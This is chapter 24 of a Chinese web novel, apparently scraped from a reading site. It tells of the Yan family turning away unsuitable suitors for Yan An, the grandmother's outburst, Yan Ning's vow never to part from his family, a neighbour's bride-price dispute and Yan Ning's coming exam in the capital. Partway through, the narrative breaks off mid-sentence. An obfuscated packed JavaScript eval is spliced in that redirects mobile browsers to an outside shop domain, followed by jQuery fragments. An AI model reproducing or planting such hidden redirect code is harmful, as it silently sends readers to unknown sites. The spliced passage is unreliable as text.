默认冷灰
24号文字
方正启体

24.第二十四章

作者:仙苑其灵本书字数:K更新时间:
    转眼便是年过,不过短短三两月的光景,来宴家说亲者已有不下十家,还有几家来问宴安的。


    宴宁这边,还是只道心思皆在科举,无心成家。


    旁人闻言,非但不恼,反倒连连称赞,说他先立业,在成家,此乃君子之道。


    至于宴安,如今二十有一,同村这般年岁的女子,皆已成家,有的连孩子都抱了两个。


    来与她求亲者,比起早年刚及笄那会儿,明显差得了许多,不是家底清贫比之宴家还不如,便是模样举止皆是粗鄙,往那一站便叫人生了厌烦,更有那鳏夫竟也求媒婆上门说亲。


    这次不由宴安拒绝,何氏看了也是一肚子火气,来一个拒一个,有那被拒后恼羞成怒,出言诋毁,说宴安容貌生得如此好,脾性也温柔良善,偏到了这般年岁还不成亲,定是身有隐疾,又没准早就不干净了。


    还有那媒婆见何氏面善,便蹬鼻子上脸,压低声劝说何氏,“趁如今还有人愿意娶,让你家孙女赶紧挑个嫁了,若再往后推个几年,风言风语更是传得收不住了,到时给人做妾,都未必有人要。”


    “啊呸!”何氏气得一手叉腰,一手将那拐杖在地上用力直敲,将这嘴巴不净的一通乱骂。


    “这些个歪瓜裂枣的货色,也不撒泡尿照照自个儿,那尿泥溅成坨都比他们顺眼!”


    “哪个有半分人样?哪个能担起半石米来,哪个又读过半页书?”


    “就这鬼迷日眼的德行,还敢攀我家安姐儿?我家安姐儿能多看他们一眼,都是他们祖坟烧了高香!”


    “我何润兰今日把话撂到这儿,我家安姐儿不嫁人,那是因为瞧不上!”


    那媒婆见状,早已吓得缩着脖子跳出院门,站在那门外扯着嗓子故意道:“哎呦,也难怪!人家宴家是要出状元的,自是眼高于顶,谁都瞧不上了喽!怕是只有那京中的达官显贵,才配得上宴家的金枝玉叶呐!”


    这十里八乡皆知宴宁中了解元一事,背地里自是有那眼红之人,只盼着宴宁之后的省试落榜。


    媒婆此言,不光是在讽宴安,明显是连带宴宁也一并嘲之。


    何氏气得眉梢直跳,拿起拐杖就要朝那媒婆砸去。


    宴安何曾见过祖母发这么大的火气,连忙将那拐杖攥住,又三两步跑上前去,一把将门合紧,随后回身扶住何氏,一面轻声宽抚,一面送她回屋。


    何氏坐在炕上,胸口不住起伏,缓了半晌才长叹一声,“罢了!我算是瞧见了,这男人当真没一个好东西!同这些人过日子,那岂不日日都要膈应死!”


    她攥住宴安的手,眼眶微红道:“往后,阿婆也不催你,你想嫁便嫁,便是不嫁,只要我何润兰在世一日,这个家断不会叫我安姐儿受了委屈!”


    宴安闻言,心头一酸,抬手抱住何氏。


    宴宁尚在村学,不知家中出了何事,只知回来后,何氏突然与他道:“长姐如母,你自幼是你阿姐一手带大,若是往后娶妻生子,也当将你阿姐视为母亲般奉养,不得不尊,不得不敬,更不得让她受半分委屈!”


    宴宁何等聪慧,立即便反应过来,阿婆竟是默许了阿姐不必嫁人。


    这便意味着,日后阿姐再也不会与他分离。


    想至此,宴宁心绪骤然翻涌,但面上却不显分毫,默了一瞬后,他站起身,朝着何氏恭敬一揖,郑重道:“阿婆放心,于我而言,阿姐于你,皆是此生至亲,我宁肯终身不娶,也绝不负你二人之恩。”


    有了这番话,何氏心中大石便已落下,至于宴宁的婚事,现在说还为期尚早。


    再者,宴安与她皆不是刻薄人,将来宴宁便是真娶了媳妇,断也不会苛待人家。


    “傻孩子,快起来罢。”何氏长出一口气,唤他上身前来,“阿婆信你,也知你自幼就明事理,只是你阿姐为了这个家,操持了这么多年,阿婆实不忍她受了委屈。”


    宴安闻言,眼泪倏然而落,何氏一手拉她,一手拉住宴宁,也跟着一并垂泪说道:“我们一家人,永远也不分开。”


    “是。”宴宁缓缓抬眼看向宴安,弯唇轻道,“永不分离。”


    宴家两个婚事没有着落,隔壁王婶倒是迎来喜事。


    满姐儿与那在县城开药铺的表兄家,定下婚事。


    此事自然是王婶过来说的,提及满姐儿表兄,王婶眼中满满笑意,何氏却故作撇嘴,嫌她说得晚了,她早就从旁人口中听说了。


    王婶提了那治腿疼的药给她,“这次可不是药渣,是那上好的治风湿的药,内服外用皆有,你还要如何怨我?”


    何氏没话说了,只笑着问:“缘何现在才说?”


    王婶抬眼朝那棚后的土墙看去,那墙后便是王婶家,“老姐姐这是冤枉我了,这事没拍板前,我可是谁也没说,外间传闻,也只是看我满姐儿在表兄家帮工传出来的。”


    “也就是前几日才交了庚帖,我这就跑来与你说的。”王婶说着,将声音压低道,“我家那个,当真是克我娘俩……”


    何氏直到此刻才知,满姐儿与她表兄情投意合,八字相匹,原是极好的一桩婚事,谁知那赵伯从中生事,看那表亲家在县城靠药铺营生,家底殷实,便狮子大开口,竟要一百贯铜钱。


    “天爷啊!”何氏惊得都要捂嘴,“便是州城之人嫁女,也不敢要这个数啊!”


    “可不是么!”王婶气得咬牙,“他还说,若给不出一百贯,便要我那表侄子入赘!”


    王婶没有儿子,膝下就满姐儿一个女儿,赵伯也是看准了这点,才故意拿此来生事。


    “我才不遂他愿!”王婶冷哼一声,“我忍让了一辈子,若是在满姐儿婚事上再由他胡来,我这王字便倒着写!”


    何氏也算看着满姐儿长大的,得知她要嫁人,夫家条件也好,自然为她欣喜,可一听此言,想到那赵伯,便心头不安。


    “不过王婶也说了,她家那个成日喝得昏天黑地,连日子都记不得,到现在也不


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16617794|185912||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    知两个孩子将婚期都已是定下,只打算生米煮成熟饭,任他也闹不出什么名堂了。”


    晚饭时,何氏与姐弟俩提及此事时,眉心还在蹙着。


    宴安吃了口饼,问她道:“婚期在何时?”


    何氏道:“定在二月初六。”


    宴安又朝宴宁道:“宁哥儿那会儿应当已是在京城了吧?”


    宴宁放下筷子,点头道:“最晚初十,我便要动身入京。”


    说至此,他也缓缓抬眼,看向宴安,“半月后,可至京中,然此番与解试不同,省试考完,我暂不能归家,须在京城候榜。”


    他顿了顿,声音更加沉稳,“二月中便会放榜,若能登第,便是进士出身。”


    “啊?”宴安疑惑眨眼,“不是要等殿试结果出来后,才能有那进士身份?”


    宴宁眸光微沉,“从前确是如此,但此次科举不同,圣上已是亲自下令,凡省试中第者,皆入殿试,殿试只定高下,不复黜落。”


    见何氏与宴安听得蹙眉,他便言简意赅道:“这便是说,只要过了省试,便为进士,殿试,不过是圣上亲定名次罢了。”


    宴安这下懂了。


    何氏还有些糊涂,又问一句,“若你过了省试,饶是殿试未过,也……也算进士?”


    “是。”宴宁点头,“此番科举,省试上榜者,殿试只排先后,不黜一人,故而只要礼部放榜有我名字,便是进士,便可授官。”


    何氏终是明白过来,只要过了省试,那便能做官了!


    不管大小官职,殿试名次,何氏眼中,只要宴宁能做官,她这辈子便是值了!


    也不知是太过紧张,还是太过欣喜,她竟一时有些语无伦次,“那、那宁哥儿……可、可能……可能……”


    宴安知道,何氏这是想问宴宁能否考过。


    她虽每每皆说,相信宴宁,可当真到了这种时候,心头也难免七上八下。


    可她不想将这份不安带给宴宁,便声音温软,却异常肯定地对何氏道:“阿婆莫要忧心,咱家宁哥儿……必定高中。”


    “好。”宴宁平静出声,抬眼看向宴安,“我必不叫阿姐失望。”


    年前,腊月二八这日,沈修提礼来到宴家,送了宴宁许多赶考路上所需之物。


    “我知你初十便要动身,然年下族中祭祖,我着实脱不开身,恐不能亲自相送。”沈修语气温缓,眸中尽显关切,“你只管安心赴京,家中之事,不必忧心。”


    宴宁闻言,眉宇微蹙,他外出不在家中,阿姐与阿婆的安危的确令他忧心,若沈先生能来探望一二,也是最好不过,只是……他下意识便朝宴安扫去。


    宴安只是垂首在整理物件,神情并未有所异样。


    想到几日前,阿婆拉着他们说一家人永不分开的场景,还有阿姐从前斩钉截铁与他说,绝不嫁人的模样。


    宴宁默了一瞬,终还是朝着沈修恭敬一揖,“那便有劳先生费心了。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)